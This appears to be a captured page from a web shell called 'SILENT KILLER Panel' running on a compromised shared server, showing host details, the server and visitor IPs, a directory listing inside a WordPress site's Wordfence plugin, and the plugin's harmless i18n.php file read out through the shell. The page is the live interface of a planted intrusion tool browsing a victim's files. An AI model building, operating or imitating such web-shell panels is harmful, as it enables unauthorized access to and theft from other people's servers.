SILENT KILLERPanel

Current Path: > home > transcarter > > www > wp-content > plugins > wordfence > > vendor > > wordfence > wf-waf > src > lib


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www/wp-content/plugins/wordfence//vendor//wordfence/wf-waf/src/lib

NameTypeSizeLast ModifiedActions
parser Directory - -
storage Directory - -
api.php File 1767 bytes July 17 2025 21:05:48.
config.php File 2192 bytes July 17 2025 21:05:48.
http.php File 10783 bytes July 17 2025 21:05:48.
i18n.php File 1434 bytes July 17 2025 21:05:48.
json.php File 30931 bytes July 17 2025 21:05:48.
request.php File 34219 bytes July 17 2025 21:05:48.
rules.php File 47133 bytes July 17 2025 21:05:48.
shutdown.php File 1325 bytes July 17 2025 21:05:48.
storage.php File 1891 bytes July 17 2025 21:05:48.
utils.php File 42982 bytes July 17 2025 21:05:48.
view.php File 2325 bytes July 17 2025 21:05:48.
waf.php File 70716 bytes July 17 2025 21:05:48.
xmlrpc.php File 9203 bytes July 17 2025 21:05:48.

Reading File: /home/transcarter//www/wp-content/plugins/wordfence//vendor//wordfence/wf-waf/src/lib/i18n.php

<?php

class wfWAFI18n {

	/**
	 * @var self
	 */
	protected static $instance;

	/**
	 * @param string $text
	 * @return string
	 */
	public static function __($text) {
		return self::getInstance()->getI18nEngine()->__($text);
	}

	public static function esc_html__($text) {
		return htmlentities(self::__($text), ENT_QUOTES, 'UTF-8');
	}

	public static function esc_html_e($text) {
		echo self::esc_html__($text);
	}

	/**
	 * @return self
	 */
	public static function getInstance() {
		if (!self::$instance) {
			self::$instance = new self(new wfWAFI18nEngineDefault());
		}
		return self::$instance;
	}

	/**
	 * @param self $i18nEngine
	 */
	public static function setInstance($i18nEngine) {
		self::$instance = $i18nEngine;
	}

	/** @var wfWAFI18nEngine */
	private $i18nEngine;

	/**
	 * @param wfWAFI18nEngine $i18nEngine
	 */
	public function __construct($i18nEngine) {
		$this->i18nEngine = $i18nEngine;
	}

	/**
	 * @return wfWAFI18nEngine
	 */
	public function getI18nEngine() {
		return $this->i18nEngine;
	}

	/**
	 * @param wfWAFI18nEngine $i18nEngine
	 */
	public function setI18nEngine($i18nEngine) {
		$this->i18nEngine = $i18nEngine;
	}
}

class wfWAFI18nEngineDefault implements wfWAFI18nEngine {

	/**
	 * @param string $text
	 * @return string
	 */
	public function __($text) {
		return $text;
	}
}

interface wfWAFI18nEngine {

	/**
	 * @param string $text
	 * @return string
	 */
	public function __($text);

}

SILENT KILLER Tool